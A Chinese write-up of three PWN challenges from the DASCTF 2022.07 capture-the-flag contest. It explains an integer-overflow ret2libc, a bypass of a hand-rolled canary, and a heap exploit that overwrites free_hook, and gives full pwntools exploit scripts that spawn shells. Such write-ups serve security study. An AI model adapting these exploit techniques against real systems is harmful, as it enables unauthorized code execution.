DASCTF2022.07赋能赛PWN部分WP
DASCTF2022.07赋能赛PWN部分WP
eyfor
程序保护情况

64位ida逆向
可以看见是一个随机数的逻辑,只要我们猜不对4次就可以进入漏洞函数,但是我感觉这原本可能是==号,让用随机数的

那我们就4次不输入一个数就可以进入漏洞函数,这里注意这个a1就是我们进入漏洞函数之前要输入的值,可以看见在read的时候使用的是un int 而判断的是int,那么这里就存在一个类型转换导致的整数溢出,我们可以输入比4294967296小一点的数,这样在判断转换的时候是负数,而在输入的时候就是这个大数,所以就可以造成溢出,然后ret2libc

EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./eyfor')
#io = remote('node5.buuoj.cn',26262)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./eyfor')
io.sendlineafter('go','a')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendline('4294967220')
io.recvline()
#gdb.attach(io)
pop_rdi = 0x0000000000400983 #: pop rdi ; ret
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4007B7)
io.send(payload)
io.recvuntil('CST\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr---->'+hex(puts_addr))
system = puts_addr - libc.sym['puts'] + libc.sym['system']
binsh = puts_addr - libc.sym['puts'] + next(libc.search('/bin/sh'))
io.recvline()
payload = b'a'*0x38 + p64(pop_rdi+1) + p64(pop_rdi) + p64(binsh) + p64(system)
io.send(payload)
io.interactive()
不过在复现的时候远程buu平台把data命令禁用了,导致程序还没有开始输入就崩溃了。。。。。
MyCanary2
程序保护情况

64位ida逆向
在初始化的时候程序使用了时间戳和随机数异或得到种子

程序虽然没有开canary保护但是模拟了一个类似canary的功能,我们可以查看canary,但是之后canary就会改变,有溢出,但是最后有检查


所以我们可以找找漏洞

在检查函数末尾发现如果rbp - 4位置为0就会跳转而不执行检查,那么我们第一步溢出然后,在更新一下这个手工canary绕过检查,然后退出即可执行后门函数
并且程序存在后门函数

EXP
from pwn import *
context(log_level= 'debug',arch='amd64',os='linux')
io = process('./MyCanary2')
io.sendlineafter('choice','1')
payload = b'a'*(0X70-4) + p32(0) + p64(0) + p64(0X40157B)
io.recvuntil('code:')
gdb.attach(io)
io.sendline(payload)
io.sendlineafter('choice','2')
io.sendlineafter('choice','3')
io.interactive()
compat
程序保护情况

64位ida逆向
菜单

add函数,这里申请的时候输入tag的时候跟0x80相与,结果作为下一次的输入,我们可以输入0xff绕过,导致溢出到保存堆块指针的位置,然后实现泄露heap地址,同理因为本题libc是2.31,申请7个堆块然后free之后进可以进入到unsortbin,修改指针泄露libc地址,不过要注意,只能申请8个堆块


free函数,把指针都清零没有free

freeall函数,遍历刚刚free的堆块然后依次free,指针清零

思路:
1.通过\xff绕过与操作,让尽可能多的字节写入,泄露堆块地址
2.修改堆块指针到unsortbin堆块处,泄露libc地址
3.伪造堆块让指针修改到fake_chunk处,修改已经free堆块的fd指针位free_hook,因为此题free的内容是控制指针优先,导致/bin/sh参数或者sh参数不好输入,所以干脆使用one_gadget
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./compact')
#io = remote('node5.buuoj.cn',27724)
libc = ELF('./libc-2.31.so')
def add(msg,tag):
io.sendlineafter('choice: ','1')
io.sendafter('data: ',msg)
io.sendafter('tag: ',tag)
def show(index):
io.sendlineafter('choice: ','2')
io.sendlineafter('idx: ',str(index))
def free(index):
io.sendlineafter('choice: ','3')
io.sendlineafter('idx: ',str(index))
def freeall():
io.sendlineafter('choice: ','4')
add('a',b'\xffaaa')
gdb.attach(io)
show(0)
io.recvuntil('aaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2c0
success('heap_base--->'+hex(heap_base))
for i in range(7):
add(p64(0x91)*14,'b')
for i in range(7):
free(7-i)
free(0)
freeall()
payload = b'\xffaaa' + p64(heap_base+0x2c0)[:2]
add('a',payload) #0
show(0)
io.recvuntil('data: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x70 - libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
one = libc_base + 0xe6af1
add('a',b'\xffaaa\x80') #1
free(1)
freeall()
payload = b'a'*0x20 + p64(0) + p64(0x21) +p64(heap_base+0x560) + p64(heap_base +0x10)+ p64(0) + p64(0x91)+ p64(free_hook)
add(payload,'2')
add('/bin/sh\x00','\xff'+'sh\x00\x00\x00\x00') #2
#gdb.attach(io)
add(p64(one),'\xff'+'sh\x00\x00\x00\x00') #3
free(3)
#gdb.attach(io)
freeall()
io.interactive()
DASCTF2022.07赋能赛PWN部分WP的更多相关文章
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- GDOU-CTF-2023新生赛Pwn题解与反思
第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...
- ZROI 19.08.07模拟赛
传送门 写在前面:为了保护正睿题目版权,这里不放题面,只写题解. "正睿从来没有保证,模拟赛的题目必须原创." "文案不是我写的,有问题找喵老师去."--蔡老师 ...
- CG-CTF pwn部分wp
面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0 ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NCTF2022 - pwn 部分 wp
总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家. ezlogin 程序设计周大作业稍加改编出的题目.洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替 ...
- SCAU 07校赛 10317 Fans of Footbal Teams
10317 Fans of Footbal Teams 时间限制:1000MS 内存限制:65535K 题型: 编程题 语言: 无限制 Description Two famous footba ...
- 【wp】2021MAR-DASCTF_逆向
昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...
- Android4.0窗口机制和创建过程分析
一 前言 在谈到这个话题的时候,脑海里面千头万绪,因为它涉及到了方方面面的知识… 比如Activity管理,窗口添加,Token权限验证等等… 既然这么复杂,那么我们就复杂的问题简单化,可以分成下面 ...
- 关于ACM,关于CSU
原文地址:http://tieba.baidu.com/p/2432943599 前言: 即将进入研二,ACM的事情也渐渐远去,记忆终将模糊,但那段奋斗永远让人热血沸腾.开个贴讲讲ACM与中南的故事, ...
随机推荐
- 网页唤起qq加群
今天在网上大浪淘沙了一番,90%的教程都是使用的鹅厂官方的加群组件,但是有个致命bug就是这个加群组件只能唤起自己创建的群,这就很尴尬了,后来偶然发现在qq群资料那边就可以直接获取到加群的链接,害得我 ...
- uniapp 判断当前是保存还是修改操作
步骤分析: 首先得确定你进入表单后传入了id或者整个对象[这里使用id来进行讲解]其次就是两个请求:POST(保存的) 和 PUT(修改的)最后就是通过传入的id是否存在进行判断即可 POST 请求 ...
- vm ware cent os 共享文件夹
1.VM中安装vm-tools 2.在VM 虚拟机设置中添加共享文件夹. 3.重启虚拟机 4.在/mnt/ 里新建一个名为"win"的文件夹 5.在cent os 中执行: vmw ...
- 如何基于Perl实现批量蛋白名转换为基因名?以做后续GO与KEGG分析
众所周知,在完成蛋白组学组间差异蛋白筛选后,往往要做GO与KEGG功能富集分析,这就需要我们首先将蛋白名转换为基因名,或者找出基因ID.将蛋白名转化为基因名可能涉及不同的转换工具或数据库,这里有几种常 ...
- 高级前端开发需要知道的 25 个 JavaScript 单行代码
1. 不使用临时变量来交换变量的值 例如我们想要将 a 于 b 的值交换 let a = 1, b = 2; // 交换值 [a, b] = [b, a]; // 结果: a = 2, b = 1 这 ...
- 基于cifar数据集合成含开集、闭集噪声的数据集
前言 噪声标签学习下的一个任务是:训练集上存在开集噪声和闭集噪声:然后在测试集上对闭集样本进行分类. 训练集中被加入的开集样本,会被均匀得打上闭集样本的标签充当开集噪声:而闭集噪声的设置与一般的噪声标 ...
- Python 潮流周刊#58:最快运行原型的语言(摘要)
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...
- 对linux的理解--个人理解
linux系统中的命令我觉得可以和windows上的点点点,如文件的查找,文件的新建.删除,用户的添加.删除等来对比理解.一个是点点点,一个是用命令来完成. --------------------- ...
- 【ClickHouse】6:clickhouse集群高可用
背景介绍: 有四台CentOS7服务器安装了ClickHouse HostName IP 安装程序 程序端口 shard(分片) replica(备份) centf8118.sharding1.db ...
- SpringBoot 解决跨域问题
今天遇到一个很神奇的问题,之前写的项目,后端跨域都处理好的,按部就班使用原来的方式,前后端都开发完之后,部署本地后,跨域没起效,一脸懵逼,然后使用公司另外一个同事的跨域解决方案,具体我也没深入研究到底 ...